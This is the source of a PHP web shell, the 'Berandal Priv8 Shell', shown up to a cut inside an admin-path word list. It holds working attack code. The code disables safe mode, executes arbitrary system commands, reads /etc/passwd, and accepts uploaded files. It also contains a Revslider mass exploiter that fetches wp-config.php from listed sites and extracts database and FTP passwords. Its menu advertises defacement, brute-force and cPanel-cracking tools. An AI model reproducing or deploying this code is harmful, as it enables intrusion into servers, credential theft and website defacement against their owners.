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) format(\'woff\');
font-weight: normal;
font-style: normal;
}html {
background-color: black;
background-attachment: fixed;
background-repeat: no-repeat;
background-position: center;
background-size: 1280px;
color: white;
font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
font-size: 13px;
width: 100%;
}
.phpinfo table{width:100%;padding:0 0 0 0;}
.phpinfo td{background:black;color:#cccccc;padding:6px 8px;;}
.phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;}
.phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;}
li {
display: inline;
margin: 5px;
padding: 5px;
font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
color: white
}
.kedip {
-webkit-animation-name: blinker;
-webkit-animation-duration: 3s;
-webkit-animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
-moz-animation-name: blinker;
-moz-animation-duration: 2s;
-moz-animation-timing-function: linear;
-moz-animation-iteration-count: infinite;
animation-name: blinker;
animation-duration: 1s;
animation-timing-function: linear;
animation-iteration-count: infinite;
color: white;
}
@-moz-keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
@-webkit-keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
@keyframes blinker {
0% { opacity: 1.0; }
50% { opacity: 0.0; }
100% { opacity: 1.0; }
}
table, th, td {
font-family:ubuntu_monoregular;
background: black;
font-size: 13px;
}
.th_home {
font-family:ubuntu_monoregular;
font-size: 12px;
background:#292929;
color:white;
border-color: #292929;
text-decoration:none;
letter-spacing:2px;
}
.table_home, .td_home {
border: 1px solid #191919;
}
.table_home td:hover {
background: #292929;
}
th {
padding: 10px;
font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
}
a {
color: white;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
.kotak {
background: #292929;
margin:0 4px;border:1px;
}
.kotak:hover{
background: #363636;
}
.asu a{
color: red;
}
.asu a:hover {
color: white;
text-decoration: none;
}
#menu a {
font-family:ubuntu_monoregular;
font-size: 12px;
background:#191919;
color:white;
margin:5px 2px 4px 2px;
padding:5px 8px;
border-color: white;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover {
font-size: 12px;
background:#292929;-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);
color: white;
padding:5px 8px;
margin:1px;
font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
letter-spacing:2px;
margin:5px 2px 4px 2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
b {
color: red;
}
fieldset{
background: black;
color: #ffffff;
margin:0 4px;
border: 1px solid white;
padding-left: 5px;
font-family:ubuntu_monoregular;border:1;
font-size: 13px;
}
input[type=text], input[type=password],input[type=submit] {
background: black;
color: #ffffff;
margin:0 4px;
border: 1px solid white;
padding-left: 5px;
font-family:ubuntu_monoregular;border:1;
font-size: 13px;
}
.kmail{
background:black;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
textarea {
width:1200px;
height:350px;
background: black;
border:1px solid white;
color: white;
font-size: 10pt;
font-family: ubuntu_monoregular;
}
select {
width: 152px;
background: black;
color: white;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
font-size: 13px;
}
option{
background: #292929;
border: 1px solid white;
}
option:hover {
background: #363636;
color: #000000;
}
.mybox {
-moz-border-radius:10px;
border-radius:10px;
border:1px solid white;
margin:4px 0 8px;
padding:14px 8px;
}
.muter {
onmousedown:stop;
animation-name: rotate ;
animation-duration: 5s;
animation-play-state: running;
animation-timing-function: linear;
animation-iteration-count: infinite;
opacity: 1.0;filter: alpha(opacity=50);} img:hover {opacity: 1.0;filter: alpha(opacity=100);}
@keyframes rotate{
10% {transform:rotateY(36deg)}
20% {transform:rotateY(72deg)}
30% {transform:rotateY(108deg)}
40% {transform:rotateY(144deg)}
50% {transform:rotateY(180deg)}
60% {transform:rotateY(216deg)}
70% {transform:rotateY(252deg)}
80% {transform:rotateY(288deg)}
90% {transform:rotateY(324deg)}
100% {transform:rotateY(360deg)}
}
</style>
</head>
<center>
<?php
//Jangan Diganti Coegg 1 Huruf aja yang salah semua eror :P//
/*
+----------------Berandal Priv8 Shell-----------------+
+-----------------------------------------------------+
+-------------------Find us on:-----------------------+
| Facebook : fb.com/owsquad.id
| Group : fb.com/groups/owlsquadtoday
| Coder : twitter.com/id_berandal
+-----------------------------------------------------+
*/
if (file_exists("php.ini")){
}else{
$img = fopen(\'php.ini\', \'w\');
$sec = "safe_mode = OFF
disable_funtions = NONE";
fwrite($img ,$sec);
fclose($img);}
function w($dir,$perm) {
if(!is_writable($dir)) {
return "<font color=red>".$perm."</font>";
} else {
return "<font color=lime>".$perm."</font>";
}
}
function exe($cmd) {
if(function_exists(\'system\')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists(\'exec\')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists(\'passthru\')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists(\'shell_exec\')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
$info = \'p\';
} else {
$info = \'u\';
}
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\',$s / 1073741824 ).\' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\',$s / 1048576 ) .\' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\',$s / 1024 ) .\' KB\';
else
return $s .\' B\';
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
if(get_magic_quotes_gpc()) {
function berandal_ss($array) {
return is_array($array) ? array_map(\'berandal_ss\', $array) : stripslashes($array);
}
$_POST = berandal_ss($_POST);
}
if(isset($_GET[\'dir\'])) {
$dir = $_GET[\'dir\'];
chdir($_GET[\'dir\']);
} else {
$dir = getcwd();
}
$dir = str_replace("\","/",$dir);
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$scdir = explode("/", $dir);
$sm = (@ini_get(strtolower("safe_mode")) == \'on\') ? "<th><font color=white>NYALA</font>" : "<font color=red>MATI</font>";
$ling="http://".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'PHP_SELF\']."?create";
$ds = @ini_get("disable_functions");
$pg_on = (function_exists(\'pg_connect\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$ora_on = (function_exists(\'ocilogon\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$mssql_on = (function_exists(\'mssql_connect\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$mysql = (function_exists(\'mysql_connect\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$curl = (function_exists(\'curl_version\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$wget = (exe(\'wget --help\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$perl = (exe(\'perl --help\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$python = (exe(\'python --help\')) ? "<font color=lime>NYALA</font>" : "<font color=red>MATI</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=white>GAK ADA</font></th>";
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$admin_id=$_SERVER[\'SERVER_ADMIN\'];
$software = getenv("SERVER_SOFTWARE");
$d0mains = @file("/etc/named.conf");
$users=@file(\'/etc/passwd\');
if($d0mains)
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
flush();
$count++;
}
}
}
}
$sport=$_SERVER[\'SERVER_PORT\'];
echo "<a target=\'blank\' href=\'https://www.twitter.com/id_berandal/\'><img class=\'muter\' src=\'http://orig11.deviantart.net/0274/f/2017/100/3/2/upload_by_owlsquad-db5e7bb.jpg\' width=\'230\' height=\'340\' align=\'left\'></a>";
echo "<br><table style=\'padding-left=1px\' align=\'left\'>";
echo "<td onkeydown=\'return false\' onmousedown=\'return false\'></td>";
echo "<h1 style=\'text-decoration:underline;text-align:left; font-size:20pt\'>Berandal Priv8 Shell</h1><br>";
echo "<tr><td>System: ".php_uname()."</td></tr>";
echo "<tr><td>PHP Version : ".phpversion()." <font color=\'white\'> on</font> ".php_sapi_name()." <font class=\'asu\'>[<a href=\'?dir=$dir&666=phinfo\'>PHP Info</a>]</font></td></tr>";
echo "<tr><td>User: ".$user." (".$uid.") Group: ".$group." (".$gid.")</td></tr><td>Admin : ".$admin_id." | Websites: $count Domains</td>";
echo "<tr><td>Server IP: ".gethostbyname($_SERVER[\'HTTP_HOST\'])." | Your IP: ".$_SERVER[\'REMOTE_ADDR\']." ";
echo "<tr><td>Port : $sport </td></tr>";
echo "<tr><td>HDD: $used / $total ( Sisa: $freespace )</td></tr>";
echo "<tr><td>Disable Functions: $show_ds</td></tr>";
echo "<tr><td>Safe Mode: $sm</td></tr>";
echo "<tr><td>MySQL: $mysql | MSSQL: $mssql_on | cURL: $curl | Perl: $perl | Python: $python | WGet: $wget | PostgreSQL: $pg_on | Oracle: $ora_on</td></tr>";
echo "<tr><td>Dir : ";
foreach($scdir as $c_dir => $cdir) {
echo "<a href=\'?dir=";
for($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "\'>$cdir</a>/";
}
echo "</td></tr></table><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><hr color=\'white\'>";
echo "<p><center><div id=menu border=\'1\' >";
echo "<ul>";
echo "<a href=\'?\'>Home</a>";
echo "<a href=\'?dir=$dir&666=upload\'>Upload</a>";
echo "<a href=\'?dir=$dir&666=cmd\'>Command</a>";
echo "<a href=\'?dir=$dir&666=mass_deface\'>Mass Deface</a>";
echo "<a href=\'?dir=$dir&666=mass_delete\'>Mass Delete</a>";
echo "<a href=\'?dir=$dir&666=config\'>GrabConfig</a>";
echo "<a href=\'?dir=$dir&666=auto_edit_user\'>Auto EditUser</a>";
echo "<a href=\'?dir=$dir&666=lompat_indah\'>LompatIndah</a>";
echo "<a href=\'?dir=$dir&666=symlink\'>Symlink</a><br><br>";
echo "<a href=\'?dir=$dir&666=csrf\'>CSRF</a>";
echo "<a href=\'?dir=$dir&666=adfin\'>AdminFinder</a>";
echo "<a href=\'?dir=$dir&666=brute\'>FTP BruteForce</a>";
echo "<a href=\'?dir=$dir&666=cpdepes\'>CPanel Auto Deface</a>";
echo "<a href=\'?dir=$dir&666=cpanel\'>CPanel Crack</a>";
echo "<a href=\'?dir=$dir&666=smtp\'>SMTP Grabber</a>";
echo "<a href=\'?dir=$dir&666=loghunter\'>LogHunter</a><br><br>";
echo "<a href=\'?dir=$dir&666=auto_dwp\'>WordPressAutoDeface</a>";
echo "<a href=\'?dir=$dir&666=auto_dwp2\'>WordPressAutoDeface V2</a>";
echo "<a href=\'?dir=$dir&666=auto_wp\'>WordPressAutoEditTitle</a>";
echo "<a href=\'?dir=$dir&666=wpbrute\'>WordPressBruteForce</a><br><br>";
echo "<a href=\'?dir=$dir&666=adminer\'>Adminer</a>";
echo "<a href=\'?dir=$dir&666=zoneh\'>Zone-H</a>";
echo "<a href=\'?dir=$dir&666=jguide\'>JonesGuide</a>";
echo "<a href=\'?dir=$dir&666=network\'>Network</a>";
echo "<a href=\'?dir=$dir&666=sec\'>SafeMode</a>";
echo "<a href=\'?dir=$dir&666=fake_root\'>Fake Root</a>";
echo "<a href=\'?dir=$dir&666=port\'>Port Scan</a>";
echo "<a href=\'?dir=$dir&666=mal\'>MalwareTools</a><br><br>";
echo "<a href=\'?dir=$dir&666=magento\'>Magento Exploiter</a>";
echo "<a href=\'?dir=$dir&666=lokmed\'>Lokomedia Exploiter</a>";
echo "<a href=\'?dir=$dir&666=balitbang\'>Balitbang Exploiter</a>";
echo "<a href=\'?dir=$dir&666=passwbypass\'>Bypass etc/passw</a><br><br>";
echo "<a href=\'?dir=$dir&666=revslider\'>Revslider MassExploiter</a>";
echo "<a href=\'?dir=$dir&666=drupal\'>Drupal MassExploiter</a>";
echo "<a href=\'?dir=$dir&666=cmsvuln\'>CMS Vulnerability Scanner</a><br><br>";
echo "<a href=\'?dir=$dir&666=string\'>StringTools</a>";
echo "<a href=\'?dir=$dir&666=hashid\'>Hash Identifier</a>";
echo "<a href=\'?dir=$dir&666=64base\'>Base64 Tools</a>";
echo "<a href=\'?dir=$dir&666=zip\'>Zip Menu</a>";
echo "<a href=\'?dir=$dir&666=krdp\'>K-RDP Shell</a><br><br>";
echo "<a href=\'?dir=$dir&666=cgi\'>CGI Shell</a>";
echo "<a href=\'?dir=$dir&666=phinfo\'>PHP Info</a>";
echo "<a href=\'?dir=$dir&666=infosec\'>Server Info</a>";
echo "<a href=\'http://pastebin.com/u/berandal666\' target=\'blank\'>Update</a>";
echo "<a href=\'?dir=$dir&666=about\'>About</a>";
echo "<a href=\'?dir=$dir&666=metu\'>Minggaaaat</a><br>";
echo "</ul>";
echo "</div>";
echo "</center>";
echo "<hr color=\'white\'>";
if($_GET[\'666\'] == \'upload\') {
echo "<center>";
if($_POST[\'upload\']) {
if(@copy($_FILES[\'ix_file\'][\'tmp_name\'], "$dir/".$_FILES[\'ix_file\'][\'name\']."")) {
$act = "<font color=lime>Sukses, Cok!</font> at <i><b>$dir/".$_FILES[\'ix_file\'][\'name\']."</b></i>";
} else {
$act = "<font color=red>Gagal upload, Cok!</font>";
}
}
echo "Upload File: [ ".w($dir,"Writeable")." ]<form method=\'post\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'ix_file\'><input type=\'submit\' class=\'kotak\' value=\'Upload\' name=\'upload\'></form>";
echo $act;
;
echo "</center>";
}
elseif ($_GET[\'666\'] == revslider) {
echo "
<center class=\'mybox\'>
<h1>Revslider Mass Exploiter by mr.magnom | Recoded by Berandal</h1>
<form method=\'post\'>
<textarea class=\'mybox\' name=\'site\' cols=\'50\' rows=\'12\'>
http://site.com
http://site2.com
http://site3.com</textarea><br>
<input class=\'kotak\' type=\'submit\' style=\'width: 50px; height: 30px; border-color:white;margin:10px 2px 0 2px;\' name=\'sikat\' value=\'SIKAT!\'>
</form></center>
";
function findit($mytext,$starttag,$endtag) {
$posLeft = stripos($mytext,$starttag)+strlen($starttag);
$posRight = stripos($mytext,$endtag,$posLeft+1);
return substr($mytext,$posLeft,$posRight-$posLeft);
}
error_reporting(0);
set_time_limit(0);
$ya=$_POST[\'sikat\'];
$co=$_POST[\'site\'];
if($ya){
$e=explode("
",$co);
foreach($e as $bda){
//echo \'<br>\'.$bda;
$linkof=\'/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php\';
$dn=($bda).($linkof);
$file=@file_get_contents($dn);
if(eregi(\'DB_HOST\',$file) and !eregi(\'FTP_USER\',$file) ){
echo\'<center><font face="courier" color=white >----------------------------------------------</font></center>\';
echo "<center><font face=\'courier\' color=\'lime\' >".$bda."</font></center>";
echo "<font face=\'courier\' color=lime >DB name : </font>".findit($file,"DB_NAME\', \'","\');")."<br>";
echo "<font face=\'courier\' color=lime >DB user : </font>".findit($file,"DB_USER\', \'","\');")."<br>";
echo "<font face=\'courier\' color=lime >DB pass : </font>".findit($file,"DB_PASSWORD\', \'","\');")."<br>";
echo "<font face=\'courier\' color=lime >DB host : </font>".findit($file,"DB_HOST\', \'","\');")."<br>";
}
elseif(eregi(\'DB_HOST\',$file) and eregi(\'FTP_USER\',$file)){
echo\'<center><font face="courier" color=white >----------------------------------------------</font></center>\';
echo "<center><font face=\'courier\' color=\'lime\' >".$bda."</font></center>";
echo "<font face=\'courier\' color=lime >FTP user : </font>".findit($file,"FTP_USER\',\'","\');")."<br>";
echo "<font face=\'courier\' color=lime >FTP pass : </font>".findit($file,"FTP_PASS\',\'","\');")."<br>";
echo "<font face=\'courier\' color=lime >FTP host : </font>".findit($file,"FTP_HOST\',\'","\');")."<br>";
}
else{echo "<center><font face=\'courier\' color=\'red\' >".$bda." ----> not infected </font></center>";}
echo\'<center><font face="courier" color=white >----------------------------------------------</font></center>\';
}
}
}
elseif ($_GET[\'666\'] == adfin) {
echo "<form action=\'\' method=\'post\'>";
set_time_limit(0);
error_reporting(0);
$list[\'front\'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
adm/
_adm_
_admin_
_administrator_
operator
sika
adminweb
develop
ketua
redaktur
author
user
new
newadmin
new/index.php
new/index.html
newadmin/index.php
newadmin/index.html
new/login.php
